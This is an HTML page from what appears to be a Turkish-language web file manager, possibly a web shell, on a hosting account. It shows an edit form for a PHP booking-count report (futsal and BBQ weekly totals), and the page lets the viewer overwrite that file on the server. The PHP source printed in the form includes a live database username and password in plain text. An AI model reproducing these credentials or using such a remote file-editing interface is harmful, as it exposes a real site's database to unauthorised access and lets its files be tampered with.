    <h3>/home/bparcsg/public_html/bookingtest/event_count.php düzenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/bookingtest/event_count.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php
$con=mysqli_connect(&quot;localhost&quot;,&quot;bparcsg_rcnew&quot;,&quot;$&amp;pw4S!kQ%mK&quot;,&quot;bparcsg_rcnew&quot;); ?&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Booking Detais Counts&lt;/title&gt;


&lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css&quot;&gt;

&lt;!-- jQuery library --&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js&quot;&gt;&lt;/script&gt;

&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.datatables.net/v/dt/dt-1.10.18/datatables.min.css&quot;/&gt;

&lt;!-- Latest compiled JavaScript --&gt;

&lt;/head&gt;
&lt;body&gt;

&lt;div class=&quot;container&quot;&gt;

 &lt;h2&gt;Futsal &amp; BBQ Schedule&lt;/h2&gt;
  &lt;p&gt;Futsal and BBQ Weekly Count&lt;/p&gt;   &lt;br /&gt;
  
  &lt;h2 style=&quot;text-align:center;&quot;&gt;&lt;?php echo date('M-Y'); ?&gt;&lt;/h2&gt;

&lt;table class=&quot;table table-bordered table-striped&quot; id=&quot;example&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color:#aa2b32;color;#fff;&quot;&gt;
&lt;!--&lt;th&gt;S.No&lt;/th&gt;--&gt;
&lt;th&gt;Week Days&lt;/th&gt;
&lt;th&gt;Futsal&lt;/th&gt;
&lt;th&gt;BBQ&lt;/th&gt;            
&lt;/tr&gt;
&lt;/thead&gt;              

&lt;tbody&gt;
&lt;?php
 
    $week=array(9,10,11,12,13);
	
	$year=date('Y');

    $start_date=array();	
	
	$end_date=array();
	
	for($i=0; $i &lt; count($week); $i++)
    
	{
		
	$dateTime = new DateTime();
	
	$dateTime-&gt;setISODate($year, $week[$i]);
	
	$start_date1= $dateTime-&gt;format('Y-m-d');
	
	array_push($start_date,$start_date1);
	
	$dateTime-&gt;modify('+6 days');
	
	$end_date1 = $dateTime-&gt;format('Y-m-d');
  	
	array_push($end_date,$end_date1);
	
	}	  
	
$fst_tot=0;	

$bbq_tot=0; 

for($j=0; $j&lt;count($start_date); $j++)	
{

?&gt;

&lt;tr&gt;
&lt;!--&lt;td&gt;&lt;?php echo $j+1; ?&gt;&lt;/td&gt;--&gt;
&lt;td&gt;&lt;?php echo $week[$j]; ?&gt;&lt;/td&gt;
&lt;?php 
$fustal_count=mysqli_query($con,&quot;select * from mycal_events where catID='7' and (sDate between '&quot;.$start_date[$j].&quot;' and '&quot;.$end_date[$j].&quot;' or rUntil between '&quot;.$start_date[$j].&quot;' and '&quot;.$end_date[$j].&quot;')&quot;);
$fustal_count_row=mysqli_num_rows($fustal_count);
$fst_tot = $fst_tot + $fustal_count_row;

?&gt;
&lt;td&gt;&lt;?php echo $fustal_count_row; ?&gt;&lt;/td&gt;

&lt;?php 
$bbq_count=mysqli_query($con,&quot;select * from mycal_events where catID in (1,2,3,4,5,6) and (sDate between '&quot;.$start_date[$j].&quot;' and '&quot;.$end_date[$j].&quot;' or rUntil between '&quot;.$start_date[$j].&quot;' and '&quot;.$end_date[$j].&quot;')&quot;);
$bbq_count_row=mysqli_num_rows($bbq_count);
$bbq_tot = $bbq_tot + $bbq_count_row;
?&gt;
&lt;td&gt;&lt;?php echo $bbq_count_row; ?&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;?php } ?&gt;

&lt;/tbody&gt;
&lt;tfoot&gt;
&lt;tr&gt;
&lt;!--&lt;th colspan=&quot;1&quot;&gt;&lt;/th&gt;--&gt;
&lt;th &gt;Total&lt;/th&gt;
&lt;th&gt;&lt;?php echo $fst_tot; ?&gt;&lt;/th&gt;
&lt;th&gt;&lt;?php echo $bbq_tot; ?&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th colspan=&quot;1&quot;&gt;&lt;/th&gt;
&lt;th &gt;Grant Total&lt;/th&gt;
&lt;th colspan=&quot;5&quot;&gt;&lt;?php echo $fst_tot + $bbq_tot; ?&gt;&lt;/th&gt;

&lt;/tr&gt;
&lt;/tfoot&gt;
&lt;/table&gt;

&lt;/div&gt;
&lt;script src=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://code.jquery.com/jquery-3.3.1.js&quot;&gt;&lt;/script&gt;    
&lt;script type=&quot;text/javascript&quot; src=&quot;https://cdn.datatables.net/v/dt/dt-1.10.18/datatables.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.datatables.net/buttons/1.5.2/js/dataTables.buttons.min.js&quot;&gt;&lt;/script&gt;
&lt;script&gt;
$(document).ready(function() {
	
    $('#example').DataTable();
});
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/bparcsg/public_html/bookingtest">← Geri</a>